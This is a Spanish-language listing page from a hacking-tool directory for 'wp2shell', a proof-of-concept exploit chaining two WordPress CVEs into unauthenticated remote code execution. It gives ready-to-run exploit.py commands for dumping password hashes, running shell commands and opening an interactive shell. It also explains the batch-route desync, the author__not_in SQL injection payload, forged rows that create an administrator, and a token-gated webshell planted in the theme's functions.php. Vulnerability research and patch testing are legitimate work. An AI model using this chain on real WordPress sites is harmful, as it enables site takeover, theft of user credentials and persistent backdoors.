Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-63030-POC — CVE-2026-63030 / wp2shell | Kitploit
Herramientas/GitHubGitHub/4b3r4m4-607d/cve-2026-63030-poc
Autenticación y AutorizaciónAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebSeguridad WebPruebas de PenetraciónAprendizaje y EducaciónRed TeamingDesarrollo de Payloads
GitHub4b3r4m4-607d/cve-2026-63030-poc

CVE-2026-63030-POC

247hace 1 díaAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-63030 / wp2shell

Ver Repositorio

wp2shell — CVE-2026-63030 + CVE-2026-60137

Cadena de explotación RCE de WordPress. Sin autenticación. CVSS 9.8.

Versiones afectadas

RamaVulnerableParcheada
6.9.x6.9.0 – 6.9.4≥ 6.9.5
7.0.x7.0.0 – 7.0.1≥ 7.0.2

La cadena

Dos CVE encadenados para lograr ejecución remota de código sin autenticación:

CVE-2026-63030 (route confusion)  →  batch desync bypasses auth
           +
CVE-2026-60137 (SQL injection)    →  author__not_in sinks raw into SQL
           ↓
   UNION-forge WP_Post rows  →  customizer changeset bridge  →  admin created
           ↓
   Login as admin  →  theme editor  →  webshell  →  RCE
PasoCVEVector
1CVE-2026-63030El desajuste de índices en REST /batch/v1 desincroniza la validación del despacho
2CVE-2026-60137El parámetro author__not_in de WP_Query omite absint() cuando se pasa como cadena
3—UNION SELECT falsifica filas de wp_posts; oEmbed → customizer → wp_insert_user
4—Autenticarse como el administrador recién creado
5—El editor de temas inyecta un webshell protegido por token en el tema activo

Inicio rápido

# Probe only — non-destructive, confirms vulnerability
python3 exploit.py --url http://target:8080 --check

# Extract admin password hashes from the database
python3 exploit.py --url http://target:8080 --dump-users

# Full chain: SQLi → admin → webshell → command
python3 exploit.py --url http://target:8080 --cmd "id; uname -a"

# Interactive shell (with working directory tracking)
python3 exploit.py --url http://target:8080 --shell

# Read arbitrary data via UNION SQL injection
python3 exploit.py --url http://target:8080 --read "SELECT @@version"

# Skip pre-auth bridge — use known credentials
python3 exploit.py --url http://target:8080 --user admin --password hunter2 --cmd whoami

Opciones

--url URL          Target WordPress base URL (required)
--check            Probe only — do not exploit
--dump-users       Extract all user credentials via UNION SQLi
--read SQL         Read a scalar SQL expression from the database
--cmd CMD          Run a shell command on the target
--shell            Open an interactive shell
--user USER        Admin username (skip pre-auth admin creation)
--password PASS    Admin password (use with --user)
--proxy URL        HTTP proxy (e.g. http://127.0.0.1:8080)
--timeout SEC      Request timeout (default: 30)
--no-cleanup       Leave webshell and admin user on target

Cómo funciona

Confusión de rutas (CVE-2026-63030)

El endpoint por lotes de WordPress en /?rest_route=/batch/v1 acepta un array de subpeticiones. Cuando una subpetición tiene una ruta no analizable (///), se añade un WP_Error a $validation pero no a $matches. El bucle de despacho entonces empareja la petición N con el manejador N+1 — por lo que una petición validada contra un esquema es despachada a un manejador diferente.

El exploit envía un lote anidado de 3 capas donde cada capa usa un cebador de desincronización en la posición 0 para desplazar los índices. La petición más interna — validada como un elemento de tipo post individual (GET /wp/v2/posts/999999) — aterriza en el manejador de colección (posts->get_items()). Dado que el esquema del elemento no define author_exclude, el parámetro pasa sin validar.

Inyección SQL (CVE-2026-60137)

get_items() mapea author_exclude → author__not_in y lo pasa a WP_Query. Cuando author__not_in es una cadena (no un array), se omite el bloque array_map('absint', …). La cadena sin procesar llega directamente a:

WHERE post_author NOT IN (<payload>)

La carga útil 0) UNION ALL SELECT …-- - cierra la lista NOT IN y añade SQL arbitrario.

Extracción mediante UNION

wp_posts de WordPress 7.0.x tiene exactamente 23 columnas. Al inyectar una fila falsificada mediante UNION ALL SELECT con orderby=none (suprime el ORDER BY final) y per_page=500 (mantiene WP_Query en modo de fila completa), el título de la entrada falsificada —que porta un marcador ||HEX||— se refleja en la respuesta REST. Todos los valores de cadena usan literales hexadecimales de MySQL (0x…) para evitar problemas de escape de comillas a través de la codificación de URL.

Creación de administrador sin autenticación previa

  1. Falsificar mediante UNION una entrada que contenga shortcodes [embed] → WordPress crea 3 filas en oembed_cache
  2. Leer de vuelta los 3 IDs de las entradas de caché mediante extracción UNION
  3. Falsificar mediante UNION 7 filas estructuradas de wp_posts que formen una cadena de changeset del personalizador
  4. El shortcode [embed] se renderiza, desencadenando WP_Embed::shortcode() → wp_update_post() → WP_Customize_Manager → wp_insert_user()
  5. Se crea un administrador con un nombre de usuario aleatorio (wp2_<random>) y una contraseña (Wp2!<random>)

Despliegue de webshell

Iniciar sesión como el nuevo administrador → extraer el nonce del editor de temas → inyectar una webshell PHP protegida por token en la parte superior del functions.php del tema activo → acceder mediante ?t=<token>&c=<command>.

Requisitos

  • Python 3.8 o posterior
  • El objetivo debe tener al menos una entrada o página publicada (para la siembra de la caché de oEmbed)

Limitaciones

  • Loopback de Docker: el editor de archivos de WordPress realiza una comprobación de loopback mediante wp_remote_post() antes de guardar. Si el contenedor no puede alcanzarse a sí mismo por nombre de host, la edición del tema queda bloqueada. En esos casos, use --dump-users + inicio de sesión manual.
  • Sin entradas publicadas: la siembra de la caché de oEmbed requiere al menos un enlace permanente público. Una instalación de WordPress en blanco tras la configuración tiene tanto "Hello world!" como "Sample Page".
  • WAF / mod_security: el filtrado intensivo de solicitudes puede bloquear las cargas útiles por lotes anidadas. Pruebe primero con --check.

Verificación

$ python3 exploit.py --url http://target --check
[+] VULNERABLE — route-confusion behavior detected!
[+] UNION SQLi extraction confirmed — in-band read available

$ python3 exploit.py --url http://target --dump-users
[*] 11 user(s) in wp_users:
  ID=1  login=admin
        pass=$wp$2y$10$...
  ...

Descargo de responsabilidad

Esta herramienta es solo para investigación de seguridad autorizada y fines educativos. Úsela únicamente contra sistemas que posea o para los que tenga permiso explícito de probar. Los autores no asumen ninguna responsabilidad por el uso indebido.

Créditos

  • WPScan — Divulgación de CVE (CVE-2026-63030, CVE-2026-60137)
  • NVD — Base de datos de CVE
Descargar herramienta